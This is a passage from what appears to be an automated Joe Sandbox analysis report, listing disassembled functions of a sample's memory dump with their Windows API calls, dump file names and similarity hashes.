Instruction Fuzzy Hash: F5418271A10209DFDB10CF68D895BAEB7B6EF49724F204619E621AB2D0D775AA40CF90

Function 001EB8D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,001EB8C3), ref: 001EB8E1
InitCommonControlsEx.COMCTL32(?,?,?,?,001EB8C3), ref: 001EB8F9

Strings

, xrefs: 001EB8F2

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CommonControlsInitInitialize
String ID:
API String ID: 2247557368-3916222277
Opcode ID: 0fd55832923bc61a9b53ccecc4d8ff16770ee3455c3ad8958cfa0338704d41bc
Instruction ID: d5528bd68d082377c0e27fe27149d7335a548f7c08d411db9428ad6dbd69ab20
Opcode Fuzzy Hash: 0fd55832923bc61a9b53ccecc4d8ff16770ee3455c3ad8958cfa0338704d41bc
Instruction Fuzzy Hash: 89D0C9B054030EBFEB449B90ED4EF4E7EBCEB00709F004144E545A2181D7F06A048B71

Function 001F9D50 Relevance: 4.7, APIs: 3, Instructions: 235fileCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,1FE05385,00000007,?,00000000), ref: 001F9D9D
CreateFileW.KERNELBASE(?,?,?,00000000,00000000,08000080,00000000,1FE05385,00000007,?,00000000), ref: 001F9DE3
CreateFileW.KERNEL32(?,?,08000080,00000000,00000000,08000080,00000000), ref: 001F9E45

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CreateFile$CloseHandle
String ID:
API String ID: 1443461169-0
Opcode ID: 1d99cccba8c57204787e2f9730b6b04ea4317a7af977ff9b8f8c8ba8834d93de
Instruction ID: 84c6c72deceef8fd7fc83b82c2ec31b64ec85d3fdfe120c81c98ff2b19cb133b
Opcode Fuzzy Hash: 1d99cccba8c57204787e2f9730b6b04ea4317a7af977ff9b8f8c8ba8834d93de
Instruction Fuzzy Hash: C881B371A10209EFCB14EF68D885BAEBBB5FF49320F204729E625D72D0D730A944CB90

Function 001E52C9 Relevance: 4.6, APIs: 3, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(80000001,?,00000000,002397B8,00000000,000F003F,00000000,?,?), ref: 001E531F
RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?), ref: 001E5378
_wcslen.LIBCMT ref: 001E5388

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CreateQueryValue_wcslen
String ID:
API String ID: 3779561743-0
Opcode ID: 546ec3c484e5f28055c9797be58182eae877c27852fff685e3df26c682623f23
Instruction ID: 7e5c11d7e46e09574a573e48402141c02fa6c609237b8b6305fe6a85d93bef4a
Opcode Fuzzy Hash: 546ec3c484e5f28055c9797be58182eae877c27852fff685e3df26c682623f23
Instruction Fuzzy Hash: DC217172951A1DAFDB24DF54CC49BEEB3B9FF14304F1001AAA515A3181DBB0AE94CBA0

Function 001F5B10 Relevance: 4.6, APIs: 3, Instructions: 75COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,1FE05385), ref: 001F5B5D
FindCloseChangeNotification.KERNELBASE(1FE05385,1FE05385), ref: 001F5B73
DeleteCriticalSection.KERNEL32(?,1FE05385), ref: 001F5BAD

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Close$ChangeCriticalDeleteFindHandleNotificationSection
String ID:
API String ID: 2515036776-0
Opcode ID: 33e8869870c28eed52a7d2c26f73d7d77f9cc743564de97d0eb4d983e739757a
Instruction ID: 99a2772a898729bf444d1e8af5428a06058af71902aea81b4aa5764ea2f0634b
Opcode Fuzzy Hash: 33e8869870c28eed52a7d2c26f73d7d77f9cc743564de97d0eb4d983e739757a
Instruction Fuzzy Hash: D421E1B1900B49ABC310CF28DC49B5ABBF5FF05730F104319E968977D0D776A9548BA1

Function 001FA943 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?), ref: 001FA981
LoadStringW.USER32(00000000,?,?,000001FF), ref: 001FA9AD
FindResourceW.KERNEL32(00000000,?,00000006,?,?,?), ref: 001FA9C4

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: FindHandleLoadModuleResourceString
String ID:
API String ID: 1126556938-0
Opcode ID: 90dccdb4c2dafb5a67e247e756aac6df67647c1303089d3f333ab5f27c508754
Instruction ID: d964e64ab7f04297a98f29f037ec987a0036e0813037c9e694773fb15fe0d7e7
Opcode Fuzzy Hash: 90dccdb4c2dafb5a67e247e756aac6df67647c1303089d3f333ab5f27c508754
Instruction Fuzzy Hash: 8F1193B5710208ABD7109B759C85BBAB3ACBF54704F40042AA746D7281EBB4DD0587A5

Function 0022093B Relevance: 4.6, APIs: 3, Instructions: 54threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_000407E7,00000000,00000000,00000000), ref: 00220984
GetLastError.KERNEL32(?,?,?,001F5C9B,00000000,00000000,001F5870,00000000,00000004), ref: 00220990
__dosmaperr.LIBCMT ref: 00220997

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 9085f229854adce5a7fc1e0e8e40b49dca6ab3050b1584be99e0884a95264f85
Instruction ID: 26324c10af8ba4e639b73cd08b693b6242f457d99d33cca078168b4579a2295b
Opcode Fuzzy Hash: 9085f229854adce5a7fc1e0e8e40b49dca6ab3050b1584be99e0884a95264f85
Instruction Fuzzy Hash: 8301923652122ABBDB159FE1EC85AAF7B69EF80B20F000024F90587113DB718861CBA0

Function 001EAB81 Relevance: 4.5, APIs: 3, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EE), ref: 001EAB8D
__aulldiv.LIBCMT ref: 001EABD2
PostMessageW.USER32(00000000,00000402,00000000,?), ref: 001EABDE

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ItemMessagePost__aulldiv
String ID:
API String ID: 1707865492-0
Opcode ID: 4f7fac27db4ad1e7d93a29236e907f4e04164518da59fe6b89f6ad95d2084f35
Instruction ID: 7fa3b12504fc0ca9ddcba126994cb29a2078f78c6475ef36507b1ab2261405f3
Opcode Fuzzy Hash: 4f7fac27db4ad1e7d93a29236e907f4e04164518da59fe6b89f6ad95d2084f35
Instruction Fuzzy Hash: 4AF0BB313107006FE6645615ED8EF7BB7ADDFC4720F14411DBA5A8A190CBB07C408621

Function 0022089B Relevance: 4.5, APIs: 3, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00222F5E: GetLastError.KERNEL32(?,?,?,00220A4C,0022494F,?,00222F08,00000001,00000364,?,0022080C,00244590,00000010), ref: 00222F63
Part of subcall function 00222F5E: _free.LIBCMT ref: 00222F98
Part of subcall function 00222F5E: SetLastError.KERNEL32(00000000), ref: 00222FCC

ExitThread.KERNEL32 ref: 002208AD
CloseHandle.KERNEL32(?,?,?,002209CD,?,?,00220844,00000000), ref: 002208D5
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,002209CD,?,?,00220844,00000000), ref: 002208EB

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary_free
String ID:
API String ID: 1198197534-0
Opcode ID: 4e6f86cfe28fd892f0efceae50d2d86cf57df1ab0c70c9090885b4b8f951e412
Instruction ID: f342abb5c2927082d58d75d5f9ccc4531f61768ce3e456539b4fe1da4503c369
Opcode Fuzzy Hash: 4e6f86cfe28fd892f0efceae50d2d86cf57df1ab0c70c9090885b4b8f951e412
Instruction Fuzzy Hash: 78F05430410622BBD7255FB5F8CC61737A86F01760B044714F869D29A2D734DC658692

Function 0020B11E Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 657COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0020B128

Strings

, xrefs: 0020B262

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: H_prolog3_catch_
String ID:
API String ID: 1329019490-3916222277
Opcode ID: cb568bbf97f9d9d353128a3996695b71bfe30df8fde6f4e494bb64a843b95c83
Instruction ID: a1a8e0d0a44ce594fe1fef865cc84eddd61680951c4efbec4638268e1960d037
Opcode Fuzzy Hash: cb568bbf97f9d9d353128a3996695b71bfe30df8fde6f4e494bb64a843b95c83
Instruction Fuzzy Hash: 0B525B71D10659CFCB25DFA9C891AEDB7B1FF54300F248169E41AA7292EB30AD86CF40

Function 001F8680 Relevance: 3.2, APIs: 2, Instructions: 162COMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNELBASE(?,?,00000000,?), ref: 001F86CF
_wcslen.LIBCMT ref: 001F86ED

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: FileNameTemp_wcslen
String ID:
API String ID: 381676680-0
Opcode ID: a235745d75408a8d2d93152f293c4dc19fa143ad2570906cc597075c5a34b256
Instruction ID: bd9c5dadb1f238661052c6177bb46beabf9eae19596bb492ae9854fab76303e7
Opcode Fuzzy Hash: a235745d75408a8d2d93152f293c4dc19fa143ad2570906cc597075c5a34b256
Instruction Fuzzy Hash: 275129725102099BD728EF24DC857BB73D5AF85360F35072DE526C7290EF30D94587A2

Function 001FA0B0 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,?,001FA024,00000000,00000000,00000001,?), ref: 001FA0E5
GetLastError.KERNEL32(?,?,?,?,?,001FA024,00000000,00000000,00000001,?), ref: 001FA0F4

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 952b22002f8f977909d0287169e71742c06082f87bf7dd8dbe99211f0634578a
Instruction ID: 1fe8d555dfa1e9368ca8f60ec7716aadbf4ce66a119975e4e3fda8baad500576
Opcode Fuzzy Hash: 952b22002f8f977909d0287169e71742c06082f87bf7dd8dbe99211f0634578a
Instruction Fuzzy Hash: 72012DB55043018FC304EF28D84595BB7E5BF98320F508A0EF4A987291E731E944CB93

Function 0021B1A7 Relevance: 3.0, APIs: 2, Instructions: 38COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0021B9B5

Part of subcall function 0021D84D: RaiseException.KERNEL32(?,?,?,0021B9D7,?,?,?,?,?,?,?,?,0021B9D7,?,00244410), ref: 0021D8AD

__CxxThrowException@8.LIBVCRUNTIME ref: 0021B9D2

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID:
API String ID: 3476068407-0
Opcode ID: a54b55821c3177719405bc717cd3e8baec424e3e0757392f499a1b3880949b77
Instruction ID: e865bbd7f76dde77f614fcb9e08f2b9210a757732dcf6bb6a790adb40b8daeb4
Opcode Fuzzy Hash: a54b55821c3177719405bc717cd3e8baec424e3e0757392f499a1b3880949b77
Instruction Fuzzy Hash: EBF0B43483020EB6CB15BEA8EC56ADD77BC5A20350B104230FE28914E1EB70A6B6CDD1

Function 002207E7 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00244590,00000010), ref: 002207FA
ExitThread.KERNEL32 ref: 00220801

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: ba3cf48d528a98c11ffcd1b785d38d034c6dd56b05b0ca3f38ad2966bc1b7953
Instruction ID: e3a98f1d14e275c9893dcf00401e5eb7b1f3ce8dfb0a24d380e4fe49af313469
Opcode Fuzzy Hash: ba3cf48d528a98c11ffcd1b785d38d034c6dd56b05b0ca3f38ad2966bc1b7953
Instruction Fuzzy Hash: C8F0AF70910225FFDB04BFF0E85AA6E3774EF49710F104549F4056B292CB75A960CFA1

Function 001FC65C Relevance: 2.3, APIs: 1, Instructions: 751COMMON

Download Yara Rule

APIs

Part of subcall function 001E248D: _wcslen.LIBCMT ref: 001E24AD
Part of subcall function 001E248D: _wcslen.LIBCMT ref: 001E24C8

_wcslen.LIBCMT ref: 001FCDC3

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: ee6f7c83e9d7d5c62d259d733c15d5134f8a1b8bf9501da2712429b965d723f0
Instruction ID: e77941afc14f7cf6636361939dd0c806daab798121585665ebdaf4502b7dad39
Opcode Fuzzy Hash: ee6f7c83e9d7d5c62d259d733c15d5134f8a1b8bf9501da2712429b965d723f0
Instruction Fuzzy Hash: 2D528D715083858BDB15EF20C491BBFB7E5AFA4300F04096DF98A9B292DF30D949DB92

Function 001FD084 Relevance: 2.0, APIs: 1, Instructions: 783COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91e3340bc1a55ea7e3d225c768c698a0526f141c32dd575e38ad0450bfb0f968
Instruction ID: 6932a322b018fc2a48f2bb361766b872653d026dbedfcd476ec288db43b324b6
Opcode Fuzzy Hash: 91e3340bc1a55ea7e3d225c768c698a0526f141c32dd575e38ad0450bfb0f968
Instruction Fuzzy Hash: 39625E7190025D9FDF24EFA5D891BFDB7B6BF14304F4040AAE60AA7251DB30AA89CF51

Function 00208F27 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00208F2E

Part of subcall function 0020E8B6: __EH_prolog3_catch.LIBCMT ref: 0020E8BD

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: H_prolog3_catchH_prolog3_catch_
String ID:
API String ID: 2571662373-0
Opcode ID: 68e647d0f4cb66903d1e6cdb96e7fbac0a879a8106bf63b95d7199897612d040
Instruction ID: 86d681187659c0bf2b9da9a4082238d9d9acd41c8bd11918c5d09b6cb615a6a9
Opcode Fuzzy Hash: 68e647d0f4cb66903d1e6cdb96e7fbac0a879a8106bf63b95d7199897612d040
Instruction Fuzzy Hash: 00417C7091065A9BCB19EFB5C892AEEB775FF24300F204129E406671D3EF30AA45CF90

Function 001E9226 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 001E92D9

Part of subcall function 001F5D40: EnterCriticalSection.KERNEL32(?,1FE05385), ref: 001F5D91
Part of subcall function 001F5D40: LeaveCriticalSection.KERNEL32(?,1FE05385), ref: 001F5DB6
Part of subcall function 001F5D40: WaitForSingleObject.KERNEL32(?,00002710,1FE05385), ref: 001F5DCE

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

